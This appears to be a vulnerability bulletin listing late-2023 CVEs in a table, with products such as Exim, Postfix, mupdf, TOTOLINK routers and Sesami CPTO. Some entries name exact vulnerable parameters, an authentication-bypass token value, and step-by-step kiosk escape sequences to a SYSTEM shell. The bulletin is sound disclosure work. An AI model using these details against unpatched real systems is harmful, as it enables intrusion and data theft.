easy-rules-mvel — easy-rules-mvel	easy-rules-mvel v4.1.0 was discovered to contain a remote code execution (RCE) vulnerability via the component MVELRule.	2023-12-29	not yet calculated	CVE-2023-50571 [email protected]
exim — exim	Exim before 4.97.1 allows SMTP smuggling in certain PIPELINING/CHUNKING configurations. Remote attackers can use a published exploitation technique to inject e-mail messages with a spoofed MAIL FROM address, allowing bypass of an SPF protection mechanism. This occurs because Exim supports <LF>.<CR><LF> but some other popular e-mail servers do not.	2023-12-24	not yet calculated	CVE-2023-51766 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
filerun — filerun	FileRun 20220519 allows SQL Injection via the “dir” parameter in a /?module=users&section=cpanel&page=list request.	2023-12-22	not yet calculated	CVE-2022-47532 [email protected]
flask-security-too — flask-security-too	An open redirect vulnerability in the python package Flask-Security-Too <=5.3.2 allows attackers to redirect unsuspecting users to malicious sites via a crafted URL by abusing the ?next parameter on the /login and /register routes.	2023-12-26	not yet calculated	CVE-2023-49438 [email protected] [email protected]
follet_learning_solutions — destiny_suite	A Cross Site Scripting (XSS) vulnerability exists in Follet Learning Solutions Destiny through 20.0_1U. via the handlewpesearchform.do. searchString.	2023-12-25	not yet calculated	CVE-2023-38826 [email protected] [email protected]
fortanix — enclaveos_confidential_computing_manager	An issue was discovered in Fortanix EnclaveOS Confidential Computing Manager (CCM) Platform before 3.32 for Intel SGX. Lack of pointer-alignment validation logic in entry functions allows a local attacker to access unauthorized information. This relates to the enclave_ecall function and system call layer.	2023-12-30	not yet calculated	CVE-2023-38021 [email protected] [email protected] [email protected] [email protected] [email protected]
fortanix — enclaveos_confidential_computing_manager	An issue was discovered in Fortanix EnclaveOS Confidential Computing Manager (CCM) Platform before 3.29 for Intel SGX. Insufficient pointer validation allows a local attacker to access unauthorized information. This relates to strlen and sgx_is_within_user.	2023-12-30	not yet calculated	CVE-2023-38022 [email protected] [email protected]
free5gc — free5gc	An issue was discovered in free5GC version 3.3.0, allows remote attackers to execute arbitrary code and cause a denial of service (DoS) on AMF component via crafted NGAP message.	2023-12-22	not yet calculated	CVE-2023-49391 [email protected]
gl.inet — multiple_products	Shell Injection vulnerability GL.iNet A1300 v4.4.6, AX1800 v4.4.6, AXT1800 v4.4.6, MT3000 v4.4.6, MT2500 v4.4.6, MT6000 v4.5.0, MT1300 v4.3.7, MT300N-V2 v4.3.7, AR750S v4.3.7, AR750 v4.3.7, AR300M v4.3.7, and B1300 v4.3.7., allows local attackers to execute arbitrary code via the get_system_log and get_crash_log functions of the logread module, as well as the upgrade_online function of the upgrade module.	2023-12-28	not yet calculated	CVE-2023-50445 [email protected]
grupo_embras — geosiap_erp	Grupo Embras GEOSIAP ERP v2.2.167.02 was discovered to contain a SQL injection vulnerability via the codLogin parameter on the login page.	2023-12-30	not yet calculated	CVE-2023-50589 [email protected] [email protected] [email protected]
hutool-core — hutool-core	hutool-core v5.8.23 was discovered to contain an infinite loop in the StrSplitter.splitByRegex function. This vulnerability allows attackers to cause a Denial of Service (DoS) via manipulation of the first two parameters.	2023-12-27	not yet calculated	CVE-2023-51075 [email protected]
hutool-core — hutool-core	The NumberUtil.toBigDecimal method in hutool-core v5.8.23 was discovered to contain a stack overflow.	2023-12-27	not yet calculated	CVE-2023-51080 [email protected]
hyavijava — hyavijava	hyavijava v6.0.07.1 was discovered to contain a stack overflow via the ResultConverter.convert2Xml method.	2023-12-27	not yet calculated	CVE-2023-51084 [email protected]
idurar-erp-crm — idurar-erp-crm	IDURAR (aka idurar-erp-crm) through 2.0.1 allows stored XSS via a PATCH request with a crafted JSON email template in the /api/email/update data.	2023-12-30	not yet calculated	CVE-2023-52265 [email protected] [email protected]
ilias_e-learning — ilias_e-learning	The workflow-engine of ILIAS before 7.23 and 8 before 8.3 allows remote authenticated users to run arbitrary system commands on the application server as the application user via a malicious BPMN2 workflow definition file.	2023-12-25	not yet calculated	CVE-2023-36485 [email protected] [email protected] [email protected]
ilias_e-learning — ilias_e-learning	The workflow-engine of ILIAS before 7.23 and 8 before 8.3 allows remote authenticated users to run arbitrary system commands on the application server as the application user by uploading a workflow definition file with a malicious filename.	2023-12-25	not yet calculated	CVE-2023-36486 [email protected] [email protected] [email protected]
indi_browser/kvbrowser — indi_browser/kvbrowser	An issue in Indi Browser (aka kvbrowser) v.12.11.23 allows an attacker to bypass intended access restrictions via interaction with the com.example.gurry.kvbrowswer.webview component.	2023-12-27	not yet calculated	CVE-2023-49001 [email protected] [email protected]
ipaddressbitsdivision — ipaddressbitsdivision	An issue in the component IPAddressBitsDivision of IPAddress v5.1.0 leads to an infinite loop.	2023-12-29	not yet calculated	CVE-2023-50570 [email protected]
jamf_pro_server — jamf_pro_server	There is broken access control during authentication in Jamf Pro Server before 10.46.1.	2023-12-25	not yet calculated	CVE-2023-31224 [email protected]
jeecgboot — jeecgboot	SQL injection vulnerability in jeecg-boot version 3.5.3, allows remote attackers to escalate privileges and obtain sensitive information via the jmreport/qurestSql component.	2023-12-30	not yet calculated	CVE-2023-41542 [email protected]
jeecgboot — jeecgboot	SQL injection vulnerability in jeecg-boot v3.5.3, allows remote attackers to escalate privileges and obtain sensitive information via the component /sys/replicate/check.	2023-12-30	not yet calculated	CVE-2023-41543 [email protected] [email protected]
jeecgboot — jeecgboot	SSTI injection vulnerability in jeecg-boot version 3.5.3, allows remote attackers to execute arbitrary code via crafted HTTP request to the /jmreport/loadTableData component.	2023-12-30	not yet calculated	CVE-2023-41544 [email protected]
jizhicms — jizhicms	File Upload vulnerability in JIZHICMS v.2.5, allows remote attacker to execute arbitrary code via a crafted file uploaded and downloaded to the download_url parameter in the app/admin/exts/ directory.	2023-12-28	not yet calculated	CVE-2023-50692 [email protected]
jline-groovy — jline-groovy	An issue in the component GroovyEngine.execute of jline-groovy v3.24.1 allows attackers to cause an OOM (OutofMemory) error.	2023-12-29	not yet calculated	CVE-2023-50572 [email protected]
json-path — json-path	json-path v2.8.0 was discovered to contain a stack overflow via the Criteria.parse() method.	2023-12-27	not yet calculated	CVE-2023-51074 [email protected]
kami_vision — yi_iot	The Kami Vision YI IoT com.yunyi.smartcamera application through 4.1.9_20231127 for Android allows a remote attacker to execute arbitrary JavaScript code via an implicit intent to the com.ants360.yicamera.activity.WebViewActivity component.	2023-12-27	not yet calculated	CVE-2023-47882 [email protected] [email protected]
kantega_sso — kantega_saml	The Kantega SAML SSO OIDC Kerberos Single Sign-on apps before 6.20.0 for Atlassian products allow XSS if SAML POST Binding is enabled. This affects 4.4.2 through 4.14.8 before 4.14.9, 5.0.0 through 5.11.4 before 5.11.5, and 6.0.0 through 6.19.0 before 6.20.0. The full product names are Kantega SAML SSO OIDC Kerberos Single Sign-on for Jira Data Center & Server (Kantega SSO Enterprise), Kantega SAML SSO OIDC Kerberos Single Sign-on for Confluence Data Center & Server (Kantega SSO Enterprise), Kantega SAML SSO OIDC Kerberos Single Sign-on for Bitbucket Data Center & Server (Kantega SSO Enterprise), Kantega SAML SSO OIDC Kerberos Single Sign-on for Bamboo Data Center & Server (Kantega SSO Enterprise), and Kantega SAML SSO OIDC Kerberos Single Sign-on for FeCru Server (Kantega SSO Enterprise). (Here, FeCru refers to the Atlassian Fisheye and Crucible products running together.)	2023-12-29	not yet calculated	CVE-2023-52240 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
layui — layui	layui up to v2.74 was discovered to contain a cross-site scripting (XSS) vulnerability via the data-content parameter.	2023-12-30	not yet calculated	CVE-2023-50550 [email protected]
little_backup_box — little_backup_box	outdoorbits little-backup-box (aka Little Backup Box) before f39f91c allows remote attackers to execute arbitrary code because the PHP extract function is used for untrusted input.	2023-12-30	not yet calculated	CVE-2023-52262 [email protected] [email protected]
logobee — logobee	LogoBee 0.2 allows updates.php?id= XSS.	2023-12-30	not yet calculated	CVE-2023-52257 [email protected]
microhttpserver — microhttpserver	In MicroHttpServer (aka Micro HTTP Server) through a8ab029, _ParseHeader in lib/server.c allows a one-byte recv buffer overflow via a long URI.	2023-12-25	not yet calculated	CVE-2023-51771 [email protected] [email protected]
mingsoft — mcms	Mingsoft MCMS v5.2.9 was discovered to contain a SQL injection vulnerability via the categoryType parameter at /content/list.do.	2023-12-30	not yet calculated	CVE-2023-50578 [email protected]
multiple_vendors — multiple_products	Matrix SSL 4.x through 4.6.0 and Rambus TLS Toolkit have a length-subtraction integer overflow for Client Hello Pre-Shared Key extension parsing in the TLS 1.3 server. An attacked device calculates an SHA-2 hash over at least 65 KB (in RAM). With a large number of crafted TLS messages, the CPU becomes heavily loaded. This occurs in tls13VerifyBinder and tls13TranscriptHashUpdate.	2023-12-22	not yet calculated	CVE-2023-24609 [email protected] [email protected]
mupdf — mupdf	A floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon fz_new_pixmap_from_float_data() of pixmap.c.	2023-12-26	not yet calculated	CVE-2023-51103 [email protected]
mupdf — mupdf	A floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon pnm_binary_read_image() of load-pnm.c line 527.	2023-12-26	not yet calculated	CVE-2023-51104 [email protected]
mupdf — mupdf	A floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in function bmp_decompress_rle4() of load-bmp.c.	2023-12-26	not yet calculated	CVE-2023-51105 [email protected]
mupdf — mupdf	A floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon pnm_binary_read_image() of load-pnm.c.	2023-12-26	not yet calculated	CVE-2023-51106 [email protected]
mupdf — mupdf	A floating point exception (divide-by-zero) vulnerability was discovered in mupdf 1.23.4 in functon compute_color() of jquant2.c.	2023-12-26	not yet calculated	CVE-2023-51107 [email protected]
mupnp_for_c — mupnp_for_c	mupnp/net/uri.c in mUPnP for C through 3.0.2 has an out-of-bounds read and application crash because it lacks a certain host length recalculation.	2023-12-28	not yet calculated	CVE-2023-52152 [email protected]
mvel2 — mvel2	A TimeOut error exists in the ParseTools.subCompileExpression method in mvel2 v2.5.0 Final.	2023-12-27	not yet calculated	CVE-2023-51079 [email protected]
ncp_engineering_inc. — secure_enterprise_client	Support Assistant in NCP Secure Enterprise Client before 13.10 allows attackers to execute DLL files with SYSTEM privileges by creating a symbolic link from a %LOCALAPPDATA%\Temp\NcpSupport* location.	2023-12-25	not yet calculated	CVE-2023-28872 [email protected]
nokia — nfm-t_r19.9	In NOKIA NFM-T R19.9, an OS Command Injection vulnerability occurs in /cgi-bin/R19.9/log.pl of the VM Manager WebUI via the cmd HTTP GET parameter. This allows authenticated users to execute commands, with root privileges, on the operating system.	2023-12-25	not yet calculated	CVE-2022-39818 [email protected]
nokia — nfm-t_r19.9	In Network Element Manager in NOKIA NFM-T R19.9, an Unprotected Storage of Credentials vulnerability occurs under /root/RestUploadManager.xml.DRC and /DEPOT/KECustom_199/OTNE_DRC/RestUploadManager.xml. A remote user, authenticated to the operating system, with access privileges to the directory /root or /DEPOT, is able to read cleartext credentials to access the web portal NFM-T and control all the PPS Network elements.	2023-12-25	not yet calculated	CVE-2022-39820 [email protected]
nokia — nfm-t_r19.9	In NOKIA NFM-T R19.9, a SQL Injection vulnerability occurs in /cgi-bin/R19.9/easy1350.pl of the VM Manager WebUI via the id or host HTTP GET parameter. An authenticated attacker is required for exploitation.	2023-12-25	not yet calculated	CVE-2022-39822 [email protected]
nokia — nfm-t_r19.9	An issue was discovered in NOKIA NFM-T R19.9. Relative Path Traversal can occur under /oms1350/data/cpb/log of the Network Element Manager via the filename parameter, allowing a remote authenticated attacker to read arbitrary files.	2023-12-25	not yet calculated	CVE-2022-41760 [email protected]
nokia — nfm-t_r19.9	An issue was discovered in NOKIA NFM-T R19.9. An Absolute Path Traversal vulnerability exists under /cgi-bin/R19.9/viewlog.pl of the VM Manager WebUI via the logfile parameter, allowing a remote authenticated attacker to read arbitrary files.	2023-12-25	not yet calculated	CVE-2022-41761 [email protected]
nokia — nfm-t_r19.9	An issue was discovered in NOKIA NFM-T R19.9. Multiple Reflected XSS vulnerabilities exist in the Network Element Manager via any parameter to log.pl, the bench or pid parameter to top.pl, or the id parameter to easy1350.pl.	2023-12-25	not yet calculated	CVE-2022-41762 [email protected]
nokia — nfm-t_r19.9	An issue was discovered in NOKIA NFM-T R19.9. Reflected XSS in the Network Element Manager exists via /oms1350/pages/otn/cpbLogDisplay via the filename parameter, under /oms1350/pages/otn/connection/E2ERoutingDisplayWithOverLay via the id parameter, and under /oms1350/pages/otn/mainOtn via all parameters.	2023-12-25	not yet calculated	CVE-2022-43675 [email protected]
ocpp-jaxb — ocpp-jaxb	SteVe Community ocpp-jaxb before 0.0.8 generates invalid timestamps such as ones with month 00 in certain situations (such as when an application receives a StartTransaction Open Charge Point Protocol message with a timestamp parameter of 1000000). This may lead to a SQL exception in applications and may undermine the integrity of transaction records.	2023-12-26	not yet calculated	CVE-2023-52096 [email protected] [email protected] [email protected]
one_identity — password_manager	One Identity Password Manager before 5.13.1 allows Kiosk Escape. This product enables users to reset their Active Directory passwords on the login screen of a Windows client. It launches a Chromium based browser in Kiosk mode to provide the reset functionality. The escape sequence is: go to the Google ReCAPTCHA section, click on the Privacy link, observe that there is a new browser window, navigate to any website that offers file upload, navigate to cmd.exe from the file explorer window, and launch cmd.exe as NT AUTHORITY\SYSTEM.	2023-12-25	not yet calculated	CVE-2023-48654 [email protected] [email protected]
one_identity — password_manager	One Identity Password Manager before 5.13.1 allows Kiosk Escape. This product enables users to reset their Active Directory passwords on the login screen of a Windows client. It launches a Chromium based browser in Kiosk mode to provide the reset functionality. The escape sequence is: wait for a session timeout, click on the Help icon, observe that there is a browser window for the One Identity website, navigate to any website that offers file upload, navigate to cmd.exe from the file explorer window, and launch cmd.exe as NT AUTHORITY\SYSTEM.	2023-12-25	not yet calculated	CVE-2023-51772 [email protected] [email protected]
opencrx — opencrx	openCRX 5.2.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Name field after creation of a Tracker in Manage Activity.	2023-12-26	not yet calculated	CVE-2023-27150 [email protected] [email protected]
opennds — opennds	OpenNDS, as used in Sierra Wireless ALEOS before 4.17.0.12 and other products, allows remote attackers to cause a denial of service (NULL pointer dereference, daemon crash, and Captive Portal outage) via a GET request to /opennds_auth/ that lacks a custom query string parameter and client-token.	2023-12-25	not yet calculated	CVE-2023-38321 [email protected] [email protected] [email protected]
openssh — openssh	OpenSSH through 9.6, when common types of DRAM are used, might allow row hammer attacks (for authentication bypass) because the integer value of authenticated in mm_answer_authpassword does not resist flips of a single bit. NOTE: this is applicable to a certain threat model of attacker-victim co-location in which the attacker has user privileges.	2023-12-24	not yet calculated	CVE-2023-51767 [email protected] [email protected] [email protected] [email protected] [email protected]
passwork — passwork	Passwork before 6.2.0 allows remote authenticated users to bypass 2FA by sending all one million of the possible 6-digit codes.	2023-12-26	not yet calculated	CVE-2023-49949 [email protected] [email protected]
peplink — balance_two	An issue was discovered in Peplink Balance Two before 8.4.0. Command injection in the traceroute feature of the administration console allows users with admin privileges to execute arbitrary commands as root.	2023-12-25	not yet calculated	CVE-2023-49226 [email protected] [email protected]
peplink — balance_two	An issue was discovered in Peplink Balance Two before 8.4.0. Console port authentication uses hard-coded credentials, which allows an attacker with physical access and sufficient knowledge to execute arbitrary commands as root.	2023-12-28	not yet calculated	CVE-2023-49228 [email protected] [email protected]
peplink — balance_two	An issue was discovered in Peplink Balance Two before 8.4.0. A missing authorization check in the administration web service allows read-only unprivileged users to obtain sensitive information about the device configuration.	2023-12-28	not yet calculated	CVE-2023-49229 [email protected] [email protected]
peplink — balance_two	An issue was discovered in Peplink Balance Two before 8.4.0. A missing authorization check in captive portals allows attackers to modify the portals’ configurations without prior authentication.	2023-12-28	not yet calculated	CVE-2023-49230 [email protected] [email protected]
perl_spreadsheet::parseexcel — perl_spreadsheet::parseexcel	Spreadsheet::ParseExcel version 0.65 is a Perl module used for parsing Excel files. Spreadsheet::ParseExcel is vulnerable to an arbitrary code execution (ACE) vulnerability due to passing unvalidated input from a file into a string-type “eval”. Specifically, the issue stems from the evaluation of Number format strings (not to be confused with printf-style format strings) within the Excel parsing logic.	2023-12-24	not yet calculated	CVE-2023-7101 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
phpgurukul — small_crm	PHPGurukul Small CRM 3.0 is vulnerable to SQL Injection on the Users login panel because of “password” parameter is directly used in the SQL query without any sanitization and the SQL Injection payload being executed.	2023-12-29	not yet calculated	CVE-2023-50035 [email protected]
postfix — postfix	Postfix through 3.8.4 allows SMTP smuggling unless configured with smtpd_data_restrictions=reject_unauth_pipelining and smtpd_discard_ehlo_keywords=chunking (or certain other options that exist in recent versions). Remote attackers can use a published exploitation technique to inject e-mail messages with a spoofed MAIL FROM address, allowing bypass of an SPF protection mechanism. This occurs because Postfix supports <LF>.<CR><LF> but some other popular e-mail servers do not. To prevent attack variants (by always disallowing <LF> without <CR>), a different solution is required: the smtpd_forbid_bare_newline=yes option with a Postfix minimum version of 3.5.23, 3.6.13, 3.7.9, 3.8.4, or 3.9.	2023-12-24	not yet calculated	CVE-2023-51764 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
prestashop — prestashop	SQL Injection vulnerability in the Innovadeluxe Quick Order module for PrestaShop before v.1.4.0, allows local attackers to execute arbitrary code via the getProducts() function in the productlist.php file.	2023-12-28	not yet calculated	CVE-2023-46989 [email protected]
proftpd — proftpd	make_ftp_cmd in main.c in ProFTPD before 1.3.8a has a one-byte out-of-bounds read, and daemon crash, because of mishandling of quote/backslash semantics.	2023-12-22	not yet calculated	CVE-2023-51713 [email protected] [email protected] [email protected]
qt — qt	An issue was discovered in the HTTP2 implementation in Qt before 5.15.17, 6.x before 6.2.11, 6.3.x through 6.5.x before 6.5.4, and 6.6.x before 6.6.2. network/access/http2/hpacktable.cpp has an incorrect HPack integer overflow check.	2023-12-24	not yet calculated	CVE-2023-51714 [email protected] [email protected]
resumable_js — resumable_js	resumable.php (aka PHP backend for resumable.js) 0.1.4 before 3c6dbf5 allows arbitrary file upload anywhere in the filesystem via ../ in multipart/form-data content to upload.php. (File overwrite hasn’t been possible with the code available in GitHub in recent years, however.)	2023-12-26	not yet calculated	CVE-2023-52086 [email protected] [email protected] [email protected] [email protected] [email protected]
ruby_on_rails — ruby_on_rails	In ActiveAdmin (aka Active Admin) before 2.12.0, a concurrency issue allows a malicious actor to access potentially private data (that belongs to another user) by making CSV export requests at certain specific times.	2023-12-28	not yet calculated	CVE-2023-50448 [email protected] [email protected]
ruby_on_rails — ruby_on_rails	csv_builder.rb in ActiveAdmin (aka Active Admin) before 3.2.0 allows CSV injection.	2023-12-24	not yet calculated	CVE-2023-51763 [email protected] [email protected] [email protected]
rws — worldserver	An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.	2023-12-25	not yet calculated	CVE-2022-34267 [email protected] [email protected]
rws — worldserver	An issue was discovered in RWS WorldServer before 11.7.3. /clientLogin deserializes Java objects without authentication, leading to command execution on the host.	2023-12-25	not yet calculated	CVE-2022-34268 [email protected] [email protected]
scone — scone	A lack of pointer-validation logic in the __scone_dispatch component of SCONE before v5.8.0 for Intel SGX allows attackers to access sensitive information.	2023-12-30	not yet calculated	CVE-2022-46486 [email protected] [email protected] [email protected]
scone — scone	Improper initialization of x87 and SSE floating-point configuration registers in the __scone_entry component of SCONE before 5.8.0 for Intel SGX allows a local attacker to compromise the execution integrity of floating-point operations in an enclave or access sensitive information via side-channel analysis.	2023-12-30	not yet calculated	CVE-2022-46487 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
scone — scone	An issue was discovered in SCONE Confidential Computing Platform before 5.8.0 for Intel SGX. Lack of pointer-alignment logic in __scone_dispatch and other entry functions allows a local attacker to access unauthorized information, aka an “AEPIC Leak.”	2023-12-30	not yet calculated	CVE-2023-38023 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
seacms — seacms	SeaCMS v12.9 was discovered to contain a remote code execution (RCE) vulnerability via the component /augap/adminip.php.	2023-12-28	not yet calculated	CVE-2023-46987 [email protected] [email protected] [email protected]
seacms — seacms	A cross-site scripting (XSS) vulnerability in the component admin_ Video.php of SeaCMS v12.8 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.	2023-12-28	not yet calculated	CVE-2023-50470 [email protected] [email protected] [email protected]
sendmail — sendmail	sendmail through at least 8.14.7 allows SMTP smuggling in certain configurations. Remote attackers can use a published exploitation technique to inject e-mail messages with a spoofed MAIL FROM address, allowing bypass of an SPF protection mechanism. This occurs because sendmail supports <LF>.<CR><LF> but some other popular e-mail servers do not.	2023-12-24	not yet calculated	CVE-2023-51765 [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]
sesami_io — sesami_io	An issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows local attackers to obtain sensitive information and bypass authentication via “Back Button Refresh” attack.	2023-12-29	not yet calculated	CVE-2023-31292 [email protected]
sesami_io — sesami_io	An issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows remote attackers to obtain sensitive information and bypass profile restriction via improper access control in the Reader system user’s web browser, allowing the journal to be displayed, despite the option being disabled.	2023-12-29	not yet calculated	CVE-2023-31293 [email protected]
sesami_io — sesami_io	CSV Injection vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via the Delivery Name field.	2023-12-29	not yet calculated	CVE-2023-31294 [email protected]
sesami_io — sesami_io	CSV Injection vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via the User Profile field.	2023-12-29	not yet calculated	CVE-2023-31295 [email protected]
sesami_io — sesami_io	CSV Injection vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows attackers to obtain sensitive information via the User Name field.	2023-12-29	not yet calculated	CVE-2023-31296 [email protected]
sesami_io — sesami_io	An issue was discovered in SESAMI planfocus CPTO (Cash Point & Transport Optimizer) 6.3.8.6 718. There is XSS via the Name field when modifying a client.	2023-12-25	not yet calculated	CVE-2023-31297 [email protected] [email protected]
sesami_io — sesami_io	Cross Site Scripting (XSS) vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to execute arbitrary code and obtain sensitive information via the User ID field when creating a new system user.	2023-12-29	not yet calculated	CVE-2023-31298 [email protected]
sesami_io — sesami_io	Cross Site Scripting (XSS) vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to execute arbitrary code via the Barcode field of a container.	2023-12-29	not yet calculated	CVE-2023-31299 [email protected]
sesami_io — sesami_io	An issue was discovered in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to obtain sensitive information via transmission of unencrypted, cleartext credentials during Password Reset feature.	2023-12-29	not yet calculated	CVE-2023-31300 [email protected]
sesami_io — sesami_io	Stored Cross Site Scripting (XSS) Vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) version 6.3.8.6 (#718), allows remote attackers to execute arbitrary code and obtain sensitive information via the Username field of the login form and application log.	2023-12-29	not yet calculated	CVE-2023-31301 [email protected]
sesami_io — sesami_io	Cross Site Scripting (XSS) vulnerability in Sesami Cash Point & Transport Optimizer (CPTO) 6.3.8.6 (#718), allows remote attackers to execute arbitrary code via the Teller field.	2023-12-29	not yet calculated	CVE-2023-31302 [email protected]
shaarli — shaarli	Reflected Cross Site Scripting (XSS) vulnerability in Shaarli v0.12.2, allows remote attackers to execute arbitrary code via search tag function.	2023-12-28	not yet calculated	CVE-2023-49469 [email protected] [email protected]
shenzhen_tcl_new_technology_co.,_limited — tv_web_browser	An issue in Shenzhen TCL Browser TV Web BrowseHere (aka com.tcl.browser) 6.65.022_dab24cc6_231221_gp allows a remote attacker to execute arbitrary JavaScript code via the com.tcl.browser.portal.browse.activity.BrowsePageActivity component.	2023-12-27	not yet calculated	CVE-2023-43481 [email protected]
simple_http_server/simple_http_server_plus — simple_http_server/simple_http_server_plus	Phlox com.phlox.simpleserver (aka Simple HTTP Server) 1.8 and com.phlox.simpleserver.plus (aka Simple HTTP Server PLUS) 1.8.1-plus have a hardcoded aKySWb2jjrr4dzkYXczKRt7K encryption key. The threat is from a man-in-the-middle attacker who can intercept and potentially modify data during transmission.	2023-12-27	not yet calculated	CVE-2023-46919 [email protected]
simple_http_server_plus — simple_http_server_plus	Phlox com.phlox.simpleserver.plus (aka Simple HTTP Server PLUS) 1.8.1-plus has an Android manifest file that contains an entry with the android:allowBackup attribute set to true. This could be leveraged by an attacker with physical access to the device.	2023-12-27	not yet calculated	CVE-2023-46918 [email protected]
simplemobiletools — simple_dialer	An issue in simplemobiletools Simple Dialer 5.18.1 allows an attacker to bypass intended access restrictions via interaction with com.simplemobiletools.dialer.activities.DialerActivity.	2023-12-27	not yet calculated	CVE-2023-49003 [email protected] [email protected]
sourcecodester — customer_support_system	Sourcecodester Customer Support System 1.0 has multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket via department_id, customer_id, and subject.	2023-12-29	not yet calculated	CVE-2023-50070 [email protected] [email protected]
sourcecodester — customer_support_system	Sourcecodester Customer Support System 1.0 has multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_department via id or name.	2023-12-29	not yet calculated	CVE-2023-50071 [email protected] [email protected]
stormshield_network_security — stormshield_network_security	An issue was discovered in Stormshield Network Security (SNS) before 4.3.17, 4.4.x through 4.6.x before 4.6.4, and 4.7.x before 4.7.1. It affects user accounts for which the password has an equals sign or space character. The serverd process logs such passwords in cleartext, and potentially sends these logs to the Syslog component.	2023-12-26	not yet calculated	CVE-2023-28616 [email protected]
stormshield_network_security — stormshield_network_security	An issue was discovered in Stormshield Network Security (SNS) SNS 4.3.13 through 4.3.22 before 4.3.23, SNS 4.6.0 through 4.6.9 before 4.6.10, and SNS 4.7.0 through 4.7.1 before 4.7.2. An attacker can overflow the cookie threshold, making an IPsec connection impossible.	2023-12-25	not yet calculated	CVE-2023-47091 [email protected] [email protected]
sudo — sudo	Sudo before 1.9.15 might allow row hammer attacks (for authentication bypass or privilege escalation) because application logic sometimes is based on not equaling an error value (instead of equaling a success value), and because the values do not resist flips of a single bit.	2023-12-22	not yet calculated	CVE-2023-42465 [email protected] [email protected] [email protected] [email protected] [email protected]
sysaid_on-premise — sysaid_on-premise	In SysAid On-Premise before 23.3.34, there is an edge case in which an end user is able to delete a Knowledge Base article, aka bug 15102.	2023-12-25	not yet calculated	CVE-2023-47247 [email protected]
testlink — testlink	TestLink through 1.9.20 allows type juggling for authentication bypass because === is not used.	2023-12-30	not yet calculated	CVE-2023-50110 [email protected]
textpattern_cms — textpattern_cms	There is an arbitrary file upload vulnerability in the background of textpattern cms v4.8.8, which leads to the loss of server permissions.	2023-12-28	not yet calculated	CVE-2023-50038 [email protected] [email protected]
thirty_bees — thirty_bees	A stored cross-site scripting (XSS) vulnerability in the component admin/AdminRequestSqlController.php of thirty bees before 1.5.0 allows attackers to execute arbitrary web script or HTML via $e->getMessage() error mishandling.	2023-12-22	not yet calculated	CVE-2023-45957 [email protected] [email protected] [email protected]
totolink — ex1200l	TOTOlink EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution via the cstecgi.cgi UploadFirmwareFile interface.	2023-12-22	not yet calculated	CVE-2023-51034 [email protected]
totolink — ex1200l	TOTOLINK EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution on the cstecgi.cgi NTPSyncWithHost interface.	2023-12-22	not yet calculated	CVE-2023-51035 [email protected]
totolink — x2000r_gh	TOTOLINK X2000R Gh v1.0.0-B20230221.0948.web was discovered to contain a stack overflow via the function formRoute.	2023-12-30	not yet calculated	CVE-2023-51133 [email protected] [email protected]
totolink — x2000r_gh	TOTOLINK X2000R Gh v1.0.0-B20230221.0948.web was discovered to contain a stack overflow via the function formPasswordSetup.	2023-12-30	not yet calculated	CVE-2023-51135 [email protected] [email protected]
totolink — x2000r_gh	TOTOLINK X2000R Gh v1.0.0-B20230221.0948.web was discovered to contain a stack overflow via the function formRebootSchedule.	2023-12-30	not yet calculated	CVE-2023-51136 [email protected] [email protected]
totolink — x6000r	TOTOLINK X6000R v9.4.0cu.852_B20230719 was discovered to contain a remote command execution (RCE) vulnerability via the component /cgi-bin/cstecgi.cgi.	2023-12-30	not yet calculated	CVE-2023-50651 [email protected] [email protected]
tp-link — tapo	Incorrect access control in TP-Link Tapo before v3.1.315 allows attackers to access user credentials in plaintext.	2023-12-28	not yet calculated	CVE-2023-34829 [email protected]
tv_bro_application — tv_bro_application	The com.phlox.tvwebbrowser TV Bro application through 2.0.0 for Android mishandles external intents through WebView. This allows attackers to execute arbitrary code, create arbitrary files. and perform arbitrary downloads via JavaScript that uses takeBlobDownloadData.	2023-12-27	not yet calculated	CVE-2023-43955 [email protected] [email protected] [email protected] [email protected]
tv_browser_application_for_android — tv_browser_application_for_android	The com.altamirano.fabricio.tvbrowser TV browser application through 4.5.1 for Android is vulnerable to JavaScript code execution via an explicit intent due to an exposed MainActivity.	2023-12-27	not yet calculated	CVE-2023-47883 [email protected] [email protected] [email protected]
